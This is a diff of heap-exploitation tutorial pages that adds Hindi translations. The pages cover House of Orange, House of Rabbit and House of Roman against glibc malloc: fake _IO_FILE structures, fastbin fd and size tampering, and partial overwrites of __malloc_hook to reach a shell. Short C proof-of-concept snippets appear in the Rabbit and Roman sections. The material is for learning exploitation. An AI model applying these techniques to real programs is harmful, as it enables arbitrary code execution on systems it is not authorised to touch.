हमला **अनसॉर्टेड बिन** के अंदर **टॉप चंक** प्राप्त करने में सफल होने से शुरू होता है। यह `malloc` को एक आकार के साथ कॉल करके प्राप्त किया जाता है जो वर्तमान टॉप चंक आकार से बड़ा है लेकिन **`mmp_.mmap_threshold`** (डिफ़ॉल्ट 128K) से छोटा है, जो अन्यथा `mmap` आवंटन को ट्रिगर करेगा। जब भी टॉप चंक आकार को संशोधित किया जाता है, यह सुनिश्चित करना महत्वपूर्ण है कि **टॉप चंक + इसका आकार** पृष्ठ-संरेखित हो और कि टॉप चंक का **prev_inuse** बिट हमेशा सेट हो।
|
||||
|
||||
To get the top chunk inside the unsorted bin, allocate a chunk to create the top chunk, change the top chunk size (with an overflow in the allocated chunk) so that **top chunk + size** is page-aligned with the **prev_inuse** bit set. Then allocate a chunk larger than the new top chunk size. Note that `free` is never called to get the top chunk into the unsorted bin.
|
||||
अनसॉर्टेड बिन के अंदर टॉप चंक प्राप्त करने के लिए, एक चंक आवंटित करें ताकि टॉप चंक बनाया जा सके, टॉप चंक आकार को बदलें (आवंटित चंक में ओवरफ्लो के साथ) ताकि **टॉप चंक + आकार** पृष्ठ-संरेखित हो और **prev_inuse** बिट सेट हो। फिर एक चंक आवंटित करें जो नए टॉप चंक आकार से बड़ा हो। ध्यान दें कि `free` को कभी भी अनसॉर्टेड बिन में टॉप चंक प्राप्त करने के लिए कॉल नहीं किया जाता है।
|
||||
|
||||
The old top chunk is now in the unsorted bin. Assuming we can read data inside it (possibly due to a vulnerability that also caused the overflow), it’s possible to leak libc addresses from it and get the address of **\_IO_list_all**.
|
||||
पुराना टॉप चंक अब अनसॉर्टेड बिन में है। मान लें कि हम इसके अंदर डेटा पढ़ सकते हैं (संभवतः एक भेद्यता के कारण जिसने ओवरफ्लो का कारण बना), तो इससे libc पते लीक करना और **\_IO_list_all** का पता प्राप्त करना संभव है।
|
||||
|
||||
An unsorted bin attack is performed by abusing the overflow to write `topChunk->bk->fwd = _IO_list_all - 0x10`. When a new chunk is allocated, the old top chunk will be split, and a pointer to the unsorted bin will be written into **`_IO_list_all`**.
|
||||
एक अनसॉर्टेड बिन हमला ओवरफ्लो का दुरुपयोग करके किया जाता है ताकि `topChunk->bk->fwd = _IO_list_all - 0x10` लिखा जा सके। जब एक नया चंक आवंटित किया जाता है, तो पुराना टॉप चंक विभाजित हो जाएगा, और अनसॉर्टेड बिन के लिए एक प्वाइंटर **`_IO_list_all`** में लिखा जाएगा।
|
||||
|
||||
The next step involves shrinking the size of the old top chunk to fit into a small bin, specifically setting its size to **0x61**. This serves two purposes:
|
||||
अगला कदम पुराने टॉप चंक के आकार को एक छोटे बिन में फिट करने के लिए कम करना है, विशेष रूप से इसके आकार को **0x61** पर सेट करना। इसका दो उद्देश्य हैं:
|
||||
|
||||
1. **Insertion into Small Bin 4**: When `malloc` scans through the unsorted bin and sees this chunk, it will try to insert it into small bin 4 due to its small size. This makes the chunk end up at the head of the small bin 4 list which is the location of the FD pointer of the chunk of **`_IO_list_all`** as we wrote a close address in **`_IO_list_all`** via the unsorted bin attack.
|
||||
2. **Triggering a Malloc Check**: This chunk size manipulation will cause `malloc` to perform internal checks. When it checks the size of the false forward chunk, which will be zero, it triggers an error and calls `malloc_printerr`.
|
||||
1. **छोटे बिन 4 में सम्मिलन**: जब `malloc` अनसॉर्टेड बिन के माध्यम से स्कैन करता है और इस चंक को देखता है, तो यह इसके छोटे आकार के कारण इसे छोटे बिन 4 में सम्मिलित करने की कोशिश करेगा। इससे चंक छोटे बिन 4 सूची के शीर्ष पर समाप्त हो जाएगा, जो **`_IO_list_all`** के चंक के FD प्वाइंटर का स्थान है क्योंकि हमने अनसॉर्टेड बिन हमले के माध्यम से **`_IO_list_all`** में एक निकट पता लिखा था।
|
||||
2. **Malloc जांच को ट्रिगर करना**: इस चंक आकार के हेरफेर से `malloc` आंतरिक जांच करेगा। जब यह झूठे फॉरवर्ड चंक के आकार की जांच करता है, जो शून्य होगा, तो यह एक त्रुटि को ट्रिगर करता है और `malloc_printerr` को कॉल करता है।
|
||||
|
||||
The manipulation of the small bin will allow you to control the forward pointer of the chunk. The overlap with **\_IO_list_all** is used to forge a fake **\_IO_FILE** structure. The structure is carefully crafted to include key fields like `_IO_write_base` and `_IO_write_ptr` set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code (e.g., the `system` function) can be executed.
|
||||
छोटे बिन का हेरफेर आपको चंक के फॉरवर्ड प्वाइंटर को नियंत्रित करने की अनुमति देगा। **\_IO_list_all** के साथ ओवरलैप का उपयोग एक नकली **\_IO_FILE** संरचना को बनाने के लिए किया जाता है। संरचना को सावधानीपूर्वक तैयार किया गया है ताकि इसमें `_IO_write_base` और `_IO_write_ptr` जैसे प्रमुख फ़ील्ड शामिल हों, जिन्हें libc में आंतरिक जांच पास करने के लिए सेट किया गया है। इसके अतिरिक्त, नकली संरचना के भीतर एक जंप तालिका बनाई जाती है, जहां एक निर्देशांक प्वाइंटर को उस पते पर सेट किया जाता है जहां मनमाना कोड (जैसे, `system` फ़ंक्शन) निष्पादित किया जा सकता है।
|
||||
|
||||
To summarize the remaining part of the technique:
|
||||
तकनीक के शेष भाग का संक्षेप में वर्णन करें:
|
||||
|
||||
- **Shrink the Old Top Chunk**: Adjust the size of the old top chunk to **0x61** to fit it into a small bin.
|
||||
- **Set Up the Fake `_IO_FILE` Structure**: Overlap the old top chunk with the fake **\_IO_FILE** structure and set fields appropriately to hijack execution flow.
|
||||
- **पुराने टॉप चंक को संकुचित करें**: छोटे बिन में फिट करने के लिए पुराने टॉप चंक के आकार को **0x61** पर समायोजित करें।
|
||||
- **नकली `_IO_FILE` संरचना स्थापित करें**: पुराने टॉप चंक के साथ ओवरलैप करें और निष्पादन प्रवाह को हाईजैक करने के लिए फ़ील्ड को उपयुक्त रूप से सेट करें।
|
||||
|
||||
The next step involves forging a fake **\_IO_FILE** structure that overlaps with the old top chunk currently in the unsorted bin. The first bytes of this structure are crafted carefully to include a pointer to a command (e.g., "/bin/sh") that will be executed.
|
||||
अगला कदम एक नकली **\_IO_FILE** संरचना को बनाना है जो वर्तमान में अनसॉर्टेड बिन में पुराने टॉप चंक के साथ ओवरलैप करती है। इस संरचना के पहले बाइट्स को सावधानीपूर्वक तैयार किया गया है ताकि एक कमांड (जैसे, "/bin/sh") के लिए एक प्वाइंटर शामिल किया जा सके जिसे निष्पादित किया जाएगा।
|
||||
|
||||
Key fields in the fake **\_IO_FILE** structure, such as `_IO_write_base` and `_IO_write_ptr`, are set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code can be executed. Typically, this would be the address of the `system` function or another function that can execute shell commands.
|
||||
नकली **\_IO_FILE** संरचना में प्रमुख फ़ील्ड, जैसे `_IO_write_base` और `_IO_write_ptr`, को libc में आंतरिक जांच पास करने के लिए सेट किया गया है। इसके अतिरिक्त, नकली संरचना के भीतर एक जंप तालिका बनाई जाती है, जहां एक निर्देशांक प्वाइंटर को उस पते पर सेट किया जाता है जहां मनमाना कोड निष्पादित किया जा सकता है। आमतौर पर, यह `system` फ़ंक्शन का पता होगा या कोई अन्य फ़ंक्शन जो शेल कमांड निष्पादित कर सकता है।
|
||||
|
||||
The attack culminates when a call to `malloc` triggers the execution of the code through the manipulated **\_IO_FILE** structure. This effectively allows arbitrary code execution, typically resulting in a shell being spawned or another malicious payload being executed.
|
||||
हमला तब समाप्त होता है जब `malloc` को कॉल करने से हेरफेर की गई **\_IO_FILE** संरचना के माध्यम से कोड का निष्पादन होता है। यह प्रभावी रूप से मनमाने कोड निष्पादन की अनुमति देता है, जो आमतौर पर एक शेल के उत्पन्न होने या अन्य दुर्भावनापूर्ण पेलोड के निष्पादन का परिणाम होता है।
|
||||
|
||||
**Summary of the Attack:**
|
||||
**हमले का सारांश:**
|
||||
|
||||
1. **Set up the top chunk**: Allocate a chunk and modify the top chunk size.
|
||||
2. **Force the top chunk into the unsorted bin**: Allocate a larger chunk.
|
||||
3. **Leak libc addresses**: Use the vulnerability to read from the unsorted bin.
|
||||
4. **Perform the unsorted bin attack**: Write to **\_IO_list_all** using an overflow.
|
||||
5. **Shrink the old top chunk**: Adjust its size to fit into a small bin.
|
||||
6. **Set up a fake \_IO_FILE structure**: Forge a fake file structure to hijack control flow.
|
||||
7. **Trigger code execution**: Allocate a chunk to execute the attack and run arbitrary code.
|
||||
1. **टॉप चंक सेट करें**: एक चंक आवंटित करें और टॉप चंक आकार को संशोधित करें।
|
||||
2. **टॉप चंक को अनसॉर्टेड बिन में मजबूर करें**: एक बड़ा चंक आवंटित करें।
|
||||
3. **libc पते लीक करें**: अनसॉर्टेड बिन से पढ़ने के लिए भेद्यता का उपयोग करें।
|
||||
4. **अनसॉर्टेड बिन हमला करें**: ओवरफ्लो का उपयोग करके **\_IO_list_all** में लिखें।
|
||||
5. **पुराने टॉप चंक को संकुचित करें**: इसे छोटे बिन में फिट करने के लिए इसके आकार को समायोजित करें।
|
||||
6. **नकली \_IO_FILE संरचना स्थापित करें**: नियंत्रण प्रवाह को हाईजैक करने के लिए एक नकली फ़ाइल संरचना बनाएं।
|
||||
7. **कोड निष्पादन को ट्रिगर करें**: हमले को निष्पादित करने और मनमाने कोड को चलाने के लिए एक चंक आवंटित करें।
|
||||
|
||||
This approach exploits heap management mechanisms, libc information leaks, and heap overflows to achieve code execution without directly calling `free`. By carefully crafting the fake **\_IO_FILE** structure and placing it in the right location, the attack can hijack the control flow during standard memory allocation operations. This enables the execution of arbitrary code, potentially resulting in a shell or other malicious activities.
|
||||
यह दृष्टिकोण हीप प्रबंधन तंत्र, libc जानकारी लीक, और हीप ओवरफ्लो का लाभ उठाता है ताकि `free` को सीधे कॉल किए बिना कोड निष्पादन प्राप्त किया जा सके। नकली **\_IO_FILE** संरचना को सावधानीपूर्वक तैयार करके और इसे सही स्थान पर रखकर, हमला मानक मेमोरी आवंटन संचालन के दौरान नियंत्रण प्रवाह को हाईजैक कर सकता है। यह मनमाने कोड के निष्पादन की अनुमति देता है, जो संभावित रूप से एक शेल या अन्य दुर्भावनापूर्ण गतिविधियों का परिणाम हो सकता है।
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -4,108 +4,90 @@
|
||||
|
||||
### Requirements
|
||||
|
||||
1. **Ability to modify fast bin fd pointer or size**: This means you can change the forward pointer of a chunk in the fastbin or its size.
|
||||
2. **Ability to trigger `malloc_consolidate`**: This can be done by either allocating a large chunk or merging the top chunk, which forces the heap to consolidate chunks.
|
||||
1. **तेज बिन fd पॉइंटर या आकार को संशोधित करने की क्षमता**: इसका मतलब है कि आप तेज बिन में एक चंक के आगे के पॉइंटर या उसके आकार को बदल सकते हैं।
|
||||
2. **`malloc_consolidate` को ट्रिगर करने की क्षमता**: यह एक बड़े चंक को आवंटित करके या शीर्ष चंक को मर्ज करके किया जा सकता है, जो हीप को चंक्स को समेकित करने के लिए मजबूर करता है।
|
||||
|
||||
### Goals
|
||||
|
||||
1. **Create overlapping chunks**: To have one chunk overlap with another, allowing for further heap manipulations.
|
||||
2. **Forge fake chunks**: To trick the allocator into treating a fake chunk as a legitimate chunk during heap operations.
|
||||
1. **ओवरलैपिंग चंक्स बनाना**: एक चंक को दूसरे के साथ ओवरलैप करने के लिए, जिससे आगे की हीप हेरफेर की अनुमति मिल सके।
|
||||
2. **नकली चंक्स को फोर्ज करना**: आवंटक को एक नकली चंक को हीप ऑपरेशनों के दौरान एक वैध चंक के रूप में मानने के लिए धोखा देना।
|
||||
|
||||
## Steps of the attack
|
||||
|
||||
### POC 1: Modify the size of a fast bin chunk
|
||||
### POC 1: तेज बिन चंक के आकार को संशोधित करें
|
||||
|
||||
**Objective**: Create an overlapping chunk by manipulating the size of a fastbin chunk.
|
||||
|
||||
- **Step 1: Allocate Chunks**
|
||||
**Objective**: तेज बिन चंक के आकार को संशोधित करके एक ओवरलैपिंग चंक बनाना।
|
||||
|
||||
- **Step 1: चंक्स आवंटित करें**
|
||||
```cpp
|
||||
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
|
||||
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
|
||||
malloc(0x10); // Allocates a small chunk to change the fastbin state
|
||||
```
|
||||
|
||||
We allocate two chunks of 0x40 bytes each. These chunks will be placed in the fast bin list once freed.
|
||||
हम 0x40 बाइट्स के दो टुकड़े आवंटित करते हैं। इन टुकड़ों को मुक्त करने के बाद फास्ट बिन सूची में रखा जाएगा।
|
||||
|
||||
- **Step 2: Free Chunks**
|
||||
|
||||
```cpp
|
||||
free(chunk1); // Frees the chunk at 0x602000
|
||||
free(chunk2); // Frees the chunk at 0x602050
|
||||
```
|
||||
हम दोनों चंक्स को मुक्त करते हैं, उन्हें फास्टबिन सूची में जोड़ते हैं।
|
||||
|
||||
We free both chunks, adding them to the fastbin list.
|
||||
|
||||
- **Step 3: Modify Chunk Size**
|
||||
|
||||
- **चरण 3: चंक आकार को संशोधित करें**
|
||||
```cpp
|
||||
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
|
||||
```
|
||||
हम `chunk1` के आकार के मेटाडेटा को 0xa1 में बदलते हैं। यह समेकन के दौरान आवंटक को धोखा देने के लिए एक महत्वपूर्ण कदम है।
|
||||
|
||||
We change the size metadata of `chunk1` to 0xa1. This is a crucial step to trick the allocator during consolidation.
|
||||
|
||||
- **Step 4: Trigger `malloc_consolidate`**
|
||||
|
||||
- **चरण 4: `malloc_consolidate` को ट्रिगर करें**
|
||||
```cpp
|
||||
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
|
||||
```
|
||||
एक बड़ा हिस्सा आवंटित करने से `malloc_consolidate` फ़ंक्शन सक्रिय होता है, जो तेज़ बिन में छोटे हिस्सों को मिलाता है। `chunk1` के हेरफेर किए गए आकार के कारण यह `chunk2` के साथ ओवरलैप करता है।
|
||||
|
||||
Allocating a large chunk triggers the `malloc_consolidate` function, merging small chunks in the fast bin. The manipulated size of `chunk1` causes it to overlap with `chunk2`.
|
||||
संविलयन के बाद, `chunk1` `chunk2` के साथ ओवरलैप करता है, जिससे आगे के शोषण की अनुमति मिलती है।
|
||||
|
||||
After consolidation, `chunk1` overlaps with `chunk2`, allowing for further exploitation.
|
||||
### POC 2: `fd` पॉइंटर को संशोधित करें
|
||||
|
||||
### POC 2: Modify the `fd` pointer
|
||||
|
||||
**Objective**: Create a fake chunk by manipulating the fast bin `fd` pointer.
|
||||
|
||||
- **Step 1: Allocate Chunks**
|
||||
**उद्देश्य**: तेज़ बिन `fd` पॉइंटर को हेरफेर करके एक नकली हिस्सा बनाना।
|
||||
|
||||
- **चरण 1: हिस्से आवंटित करें**
|
||||
```cpp
|
||||
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
|
||||
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
|
||||
```
|
||||
**व्याख्या**: हम दो टुकड़े आवंटित करते हैं, एक छोटा और एक बड़ा, ताकि नकली टुकड़े के लिए हीप सेट किया जा सके।
|
||||
|
||||
**Explanation**: We allocate two chunks, one smaller and one larger, to set up the heap for the fake chunk.
|
||||
|
||||
- **Step 2: Create fake chunk**
|
||||
|
||||
- **चरण 2: नकली टुकड़ा बनाएं**
|
||||
```cpp
|
||||
chunk2[1] = 0x31; // Fake chunk size 0x30
|
||||
chunk2[7] = 0x21; // Next fake chunk
|
||||
chunk2[11] = 0x21; // Next-next fake chunk
|
||||
```
|
||||
हम `chunk2` में नकली चंक मेटाडेटा लिखते हैं ताकि छोटे चंक्स का अनुकरण किया जा सके।
|
||||
|
||||
We write fake chunk metadata into `chunk2` to simulate smaller chunks.
|
||||
|
||||
- **Step 3: Free `chunk1`**
|
||||
|
||||
- **चरण 3: `chunk1` को मुक्त करें**
|
||||
```cpp
|
||||
free(chunk1); // Frees the chunk at 0x602000
|
||||
```
|
||||
**व्याख्या**: हम `chunk1` को मुक्त करते हैं, इसे फास्टबिन सूची में जोड़ते हैं।
|
||||
|
||||
**Explanation**: We free `chunk1`, adding it to the fastbin list.
|
||||
|
||||
- **Step 4: Modify `fd` of `chunk1`**
|
||||
|
||||
- **चरण 4: `chunk1` का `fd` संशोधित करें**
|
||||
```cpp
|
||||
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
|
||||
```
|
||||
**व्याख्या**: हम `chunk1` के फॉरवर्ड पॉइंटर (`fd`) को हमारे फेक चंक की ओर इंगित करने के लिए बदलते हैं जो `chunk2` के अंदर है।
|
||||
|
||||
**Explanation**: We change the forward pointer (`fd`) of `chunk1` to point to our fake chunk inside `chunk2`.
|
||||
|
||||
- **Step 5: Trigger `malloc_consolidate`**
|
||||
|
||||
- **चरण 5: `malloc_consolidate` को ट्रिगर करें**
|
||||
```cpp
|
||||
malloc(5000); // Allocate a large chunk to trigger heap consolidation
|
||||
```
|
||||
एक बड़ा हिस्सा फिर से आवंटित करने से `malloc_consolidate` सक्रिय होता है, जो नकली हिस्से को संसाधित करता है।
|
||||
|
||||
Allocating a large chunk again triggers `malloc_consolidate`, which processes the fake chunk.
|
||||
नकली हिस्सा फास्टबिन सूची का हिस्सा बन जाता है, जिससे यह आगे की शोषण के लिए एक वैध हिस्सा बन जाता है।
|
||||
|
||||
The fake chunk becomes part of the fastbin list, making it a legitimate chunk for further exploitation.
|
||||
### सारांश
|
||||
|
||||
### Summary
|
||||
|
||||
The **House of Rabbit** technique involves either modifying the size of a fast bin chunk to create overlapping chunks or manipulating the `fd` pointer to create fake chunks. This allows attackers to forge legitimate chunks in the heap, enabling various forms of exploitation. Understanding and practicing these steps will enhance your heap exploitation skills.
|
||||
**हाउस ऑफ़ रैबिट** तकनीक में या तो एक फास्ट बिन हिस्से के आकार को संशोधित करना शामिल है ताकि ओवरलैपिंग हिस्से बनाए जा सकें या नकली हिस्से बनाने के लिए `fd` पॉइंटर को हेरफेर करना शामिल है। यह हमलावरों को हीप में वैध हिस्से बनाने की अनुमति देता है, जिससे विभिन्न प्रकार के शोषण की अनुमति मिलती है। इन चरणों को समझना और अभ्यास करना आपकी हीप शोषण कौशल को बढ़ाएगा।
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,85 +4,80 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
This was a very interesting technique that allowed for RCE without leaks via fake fastbins, the unsorted_bin attack and relative overwrites. However it has ben [**patched**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c).
|
||||
यह एक बहुत ही दिलचस्प तकनीक थी जिसने नकली फास्टबिन, अनसॉर्टेड_बिन हमले और सापेक्ष ओवरराइट के माध्यम से RCE की अनुमति दी। हालाँकि इसे [**पैच**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c) किया गया है।
|
||||
|
||||
### Code
|
||||
|
||||
- You can find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)
|
||||
- आप एक उदाहरण [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) में पा सकते हैं।
|
||||
|
||||
### Goal
|
||||
|
||||
- RCE by abusing relative pointers
|
||||
- सापेक्ष पॉइंटर्स का दुरुपयोग करके RCE
|
||||
|
||||
### Requirements
|
||||
|
||||
- Edit fastbin and unsorted bin pointers
|
||||
- 12 bits of randomness must be brute forced (0.02% chance) of working
|
||||
- फास्टबिन और अनसॉर्टेड बिन पॉइंटर्स को संपादित करें
|
||||
- 12 बिट की यादृच्छिकता को ब्रूट फोर्स किया जाना चाहिए (काम करने की 0.02% संभावना)
|
||||
|
||||
## Attack Steps
|
||||
|
||||
### Part 1: Fastbin Chunk points to \_\_malloc_hook
|
||||
|
||||
Create several chunks:
|
||||
कई चंक्स बनाएं:
|
||||
|
||||
- `fastbin_victim` (0x60, offset 0): UAF chunk later to edit the heap pointer later to point to the LibC value.
|
||||
- `chunk2` (0x80, offset 0x70): For good alignment
|
||||
- `fastbin_victim` (0x60, offset 0): UAF चंक जिसे बाद में हीप पॉइंटर को LibC मान की ओर इंगित करने के लिए संपादित किया जाएगा।
|
||||
- `chunk2` (0x80, offset 0x70): अच्छे संरेखण के लिए
|
||||
- `main_arena_use` (0x80, offset 0x100)
|
||||
- `relative_offset_heap` (0x60, offset 0x190): relative offset on the 'main_arena_use' chunk
|
||||
- `relative_offset_heap` (0x60, offset 0x190): 'main_arena_use' चंक पर सापेक्ष ऑफसेट
|
||||
|
||||
Then `free(main_arena_use)` which will place this chunk in the unsorted list and will get a pointer to `main_arena + 0x68` in both the `fd` and `bk` pointers.
|
||||
फिर `free(main_arena_use)` करें जो इस चंक को अनसॉर्टेड सूची में रखेगा और `fd` और `bk` पॉइंटर्स में `main_arena + 0x68` का एक पॉइंटर प्राप्त करेगा।
|
||||
|
||||
Now it's allocated a new chunk `fake_libc_chunk(0x60)` because it'll contain the pointers to `main_arena + 0x68` in `fd` and `bk`.
|
||||
|
||||
Then `relative_offset_heap` and `fastbin_victim` are freed.
|
||||
अब एक नया चंक `fake_libc_chunk(0x60)` आवंटित किया गया है क्योंकि इसमें `fd` और `bk` में `main_arena + 0x68` के लिए पॉइंटर्स होंगे।
|
||||
|
||||
फिर `relative_offset_heap` और `fastbin_victim` को मुक्त किया जाता है।
|
||||
```c
|
||||
/*
|
||||
Current heap layout:
|
||||
0x0: fastbin_victim - size 0x70
|
||||
0x70: alignment_filler - size 0x90
|
||||
0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68)
|
||||
0x170: leftover_main - size 0x20
|
||||
0x190: relative_offset_heap - size 0x70
|
||||
0x0: fastbin_victim - size 0x70
|
||||
0x70: alignment_filler - size 0x90
|
||||
0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68)
|
||||
0x170: leftover_main - size 0x20
|
||||
0x190: relative_offset_heap - size 0x70
|
||||
|
||||
bin layout:
|
||||
fastbin: fastbin_victim -> relative_offset_heap
|
||||
unsorted: leftover_main
|
||||
bin layout:
|
||||
fastbin: fastbin_victim -> relative_offset_heap
|
||||
unsorted: leftover_main
|
||||
*/
|
||||
```
|
||||
-  `fastbin_victim` का `fd` `relative_offset_heap` की ओर इशारा करता है
|
||||
-  `relative_offset_heap` `fake_libc_chunk` से दूरी का एक ऑफसेट है, जिसमें `main_arena + 0x68` की ओर एक पॉइंटर होता है
|
||||
- केवल `fastbin_victim.fd` के अंतिम बाइट को बदलकर, `fastbin_victim` को `main_arena + 0x68` की ओर इशारा करना संभव है
|
||||
|
||||
-  `fastbin_victim` has a `fd` pointing to `relative_offset_heap`
|
||||
-  `relative_offset_heap` is an offset of distance from `fake_libc_chunk`, which contains a pointer to `main_arena + 0x68`
|
||||
- Just changing the last byte of `fastbin_victim.fd` it's possible to make `fastbin_victim points` to `main_arena + 0x68`
|
||||
पिछले कार्यों के लिए, हमलावर को `fastbin_victim` के fd पॉइंटर को संशोधित करने में सक्षम होना चाहिए।
|
||||
|
||||
For the previous actions, the attacker needs to be capable of modifying the fd pointer of `fastbin_victim`.
|
||||
फिर, `main_arena + 0x68` इतना दिलचस्प नहीं है, इसलिए इसे संशोधित करते हैं ताकि पॉइंटर **`__malloc_hook`** की ओर इशारा करे।
|
||||
|
||||
Then, `main_arena + 0x68` is not that interesting, so lets modify it so the pointer points to **`__malloc_hook`**.
|
||||
ध्यान दें कि `__memalign_hook` आमतौर पर `0x7f` से शुरू होता है और इसके पहले शून्य होते हैं, इसलिए इसे `0x70` फास्ट बिन में एक मान के रूप में फेक करना संभव है। चूंकि पते के अंतिम 4 बिट **यादृच्छिक** होते हैं, इसलिए मान के अंत में इशारा करने के लिए `2^4=16` संभावनाएँ होती हैं। इसलिए यहां एक BF हमला किया जाता है ताकि चंक इस तरह समाप्त हो: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`।**
|
||||
|
||||
Note that `__memalign_hook` usually starts with `0x7f` and zeros before it, then it's possible to fake it as a value in the `0x70` fast bin. Because the last 4 bits of the address are **random** there are `2^4=16` possibilities for the value to end pointing where are interested. So a BF attack is performed here so the chunk ends like: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
|
||||
|
||||
(For more info about the rest of the bytes check the explanation in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). If the BF don't work the program just crashes (so start gain until it works).
|
||||
|
||||
Then, 2 mallocs are performed to remove the 2 initial fast bin chunks and the a third one is alloced to get a chunk in the **`__malloc_hook:`**
|
||||
(बाकी बाइट्स के बारे में अधिक जानकारी के लिए [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ उदाहरण](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) में व्याख्या देखें)। यदि BF काम नहीं करता है, तो प्रोग्राम बस क्रैश हो जाता है (इसलिए तब तक फिर से शुरू करें जब तक यह काम न करे)।
|
||||
|
||||
फिर, 2 mallocs किए जाते हैं ताकि 2 प्रारंभिक फास्ट बिन चंक्स को हटाया जा सके और एक तीसरा आवंटित किया जाता है ताकि **`__malloc_hook:`** में एक चंक प्राप्त किया जा सके।
|
||||
```c
|
||||
malloc(0x60);
|
||||
malloc(0x60);
|
||||
uint8_t* malloc_hook_chunk = malloc(0x60);
|
||||
```
|
||||
### भाग 2: Unsorted_bin हमला
|
||||
|
||||
### Part 2: Unsorted_bin attack
|
||||
|
||||
For more info you can check:
|
||||
अधिक जानकारी के लिए आप देख सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
unsorted-bin-attack.md
|
||||
{{#endref}}
|
||||
|
||||
But basically it allows to write `main_arena + 0x68` to any location by specified in `chunk->bk`. And for the attack we choose `__malloc_hook`. Then, after overwriting it we will use a relative overwrite) to point to a `one_gadget`.
|
||||
|
||||
For this we start getting a chunk and putting it into the **unsorted bin**:
|
||||
लेकिन मूल रूप से यह `chunk->bk` में निर्दिष्ट किसी भी स्थान पर `main_arena + 0x68` लिखने की अनुमति देता है। और हमले के लिए हम `__malloc_hook` चुनते हैं। फिर, इसे ओवरराइट करने के बाद हम एक सापेक्ष ओवरराइट का उपयोग करेंगे) एक `one_gadget` की ओर इशारा करने के लिए।
|
||||
|
||||
इसके लिए हम एक chunk प्राप्त करना शुरू करते हैं और इसे **unsorted bin** में डालते हैं:
|
||||
```c
|
||||
uint8_t* unsorted_bin_ptr = malloc(0x80);
|
||||
malloc(0x30); // Don't want to consolidate
|
||||
@ -91,25 +86,24 @@ puts("Put chunk into unsorted_bin\n");
|
||||
// Free the chunk to create the UAF
|
||||
free(unsorted_bin_ptr);
|
||||
```
|
||||
|
||||
Use an UAF in this chunk to point `unsorted_bin_ptr->bk` to the address of `__malloc_hook` (we brute forced this previously).
|
||||
इस भाग में एक UAF का उपयोग करें ताकि `unsorted_bin_ptr->bk` को `__malloc_hook` के पते पर इंगित किया जा सके (हमने इसे पहले ब्रूट फोर्स किया था)।
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **alloc the same size or the program will crash.**
|
||||
> ध्यान दें कि यह हमला असंरचित बिन को भ्रष्ट करता है (इसलिए छोटे और बड़े भी)। इसलिए हम केवल **अब तेज बिन से आवंटन का उपयोग कर सकते हैं** (एक अधिक जटिल प्रोग्राम अन्य आवंटन कर सकता है और क्रैश हो सकता है), और इसे ट्रिगर करने के लिए हमें **उसी आकार का आवंटन करना होगा या प्रोग्राम क्रैश हो जाएगा।**
|
||||
|
||||
So, to trigger the write of `main_arena + 0x68` in `__malloc_hook` we perform after setting `__malloc_hook` in `unsorted_bin_ptr->bk` we just need to do: **`malloc(0x80)`**
|
||||
तो, `__malloc_hook` में `main_arena + 0x68` के लिखने को ट्रिगर करने के लिए, हम `__malloc_hook` को `unsorted_bin_ptr->bk` में सेट करने के बाद बस यह करने की आवश्यकता है: **`malloc(0x80)`**
|
||||
|
||||
### Step 3: Set \_\_malloc_hook to system
|
||||
### चरण 3: \_\_malloc_hook को सिस्टम पर सेट करें
|
||||
|
||||
In the step one we ended controlling a chunk containing `__malloc_hook` (in the variable `malloc_hook_chunk`) and in the second step we managed to write `main_arena + 0x68` in here.
|
||||
पहले चरण में, हम `__malloc_hook` वाले एक भाग को नियंत्रित करने में सफल रहे (चर `malloc_hook_chunk` में) और दूसरे चरण में, हम यहां `main_arena + 0x68` लिखने में सफल रहे।
|
||||
|
||||
Now, we abuse a partial overwrite in `malloc_hook_chunk` to use the libc address we wrote there(`main_arena + 0x68`) to **point a `one_gadget` address**.
|
||||
अब, हम `malloc_hook_chunk` में आंशिक ओवरराइट का दुरुपयोग करते हैं ताकि हम वहां लिखे गए libc पते (`main_arena + 0x68`) का उपयोग करके **एक `one_gadget` पते** को इंगित कर सकें।
|
||||
|
||||
Here is where it's needed to **bruteforce 12 bits of randomness** (more info in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)).
|
||||
